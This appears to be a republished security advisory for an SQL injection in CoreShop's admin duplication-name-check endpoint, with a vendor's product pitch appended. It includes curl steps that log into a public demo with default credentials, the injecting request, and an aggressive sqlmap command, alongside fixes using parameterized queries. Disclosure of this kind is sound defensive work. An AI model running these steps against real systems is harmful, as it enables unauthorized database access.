GHSA-fqcv-8859-86x2
CoreShop Vulnerable to SQL Injection via Admin customer-company-modifier
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
coreshop/core-shopReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
SQL Injection in CustomerTransformerController
Summary
An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.
This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.
Details
The vulnerability exists in the company name duplication check endpoint:
/admin/coreshop/customer-company-modifier/duplication-name-check?value=
Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.
Vulnerable file:
/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php
Vulnerable code pattern:
sprintf('name LIKE "%%%s%%"', (string) $value)
The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.
Exploitation Steps:
Prerequisites
- Admin panel access at
https://demo4.coreshop.org/admin - Default credentials:
admin / coreshop
Authenticate to admin panel
# Get CSRF token
curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken
# Initialize session
curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null
# Get CSRF token with session
CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)
# Login
curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
-X POST 'https://demo4.coreshop.org/admin/login/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "username=admin&password=coreshop&csrfToken=$CSRF"
Trigger SQL error to confirm injection
curl -s -b /tmp/session.txt \
'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'
Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"
Normal response (non-error):
{"success":true,"message":null,"list":[]}
Proof of Impact:
Test 1 - Normal query:
GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}
Test 2 - SQL injection (error-inducing):
GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
<title>500 | CORS - Pimcore Digital Agency</title>
...
</head>
The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.
Sqlmap Result:
python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db
Impact
- Vulnerability type: SQL Injection (Error-based)
- Affected users: CoreShop / Pimcore admin users
- Potential impact:
- Database error disclosure
- Database schema enumeration
- Possible data extraction via error-based or blind SQL injection
Recommended Fix
1. Use Parameterized Queries (Required)
Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.
❌ Vulnerable example:
$condition = sprintf('name LIKE "%%%s%%"', (string) $value);
✅ Secure example (Doctrine QueryBuilder):
$qb->andWhere('c.name LIKE :name')
->setParameter('name', '%' . $value . '%');
This ensures proper escaping and prevents SQL injection.
2. Validate User Input (Defense-in-Depth)
Apply strict input validation before processing user data:
if (!is_string($value) || mb_strlen($value) > 255) {
throw new BadRequestHttpException('Invalid input');
}
Optionally, restrict allowed characters if business logic permits.
3. Handle Errors Gracefully
Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:
return new JsonResponse([
'success' => false,
'message' => 'Invalid request'
], 400);
4. Security Best Practice
- Never interpolate user input directly into SQL strings
- Always use prepared statements or ORM parameter binding
- Ensure consistent input validation on all admin endpoints
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | coreshop/core-shop | all versions | 4.1.9 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for coreshop/core-shop. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update coreshop/core-shop to 4.1.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fqcv-8859-86x2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fqcv-8859-86x2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fqcv-8859-86x2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fqcv-8859-86x2 in your dependencies?
O3 detects GHSA-fqcv-8859-86x2 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.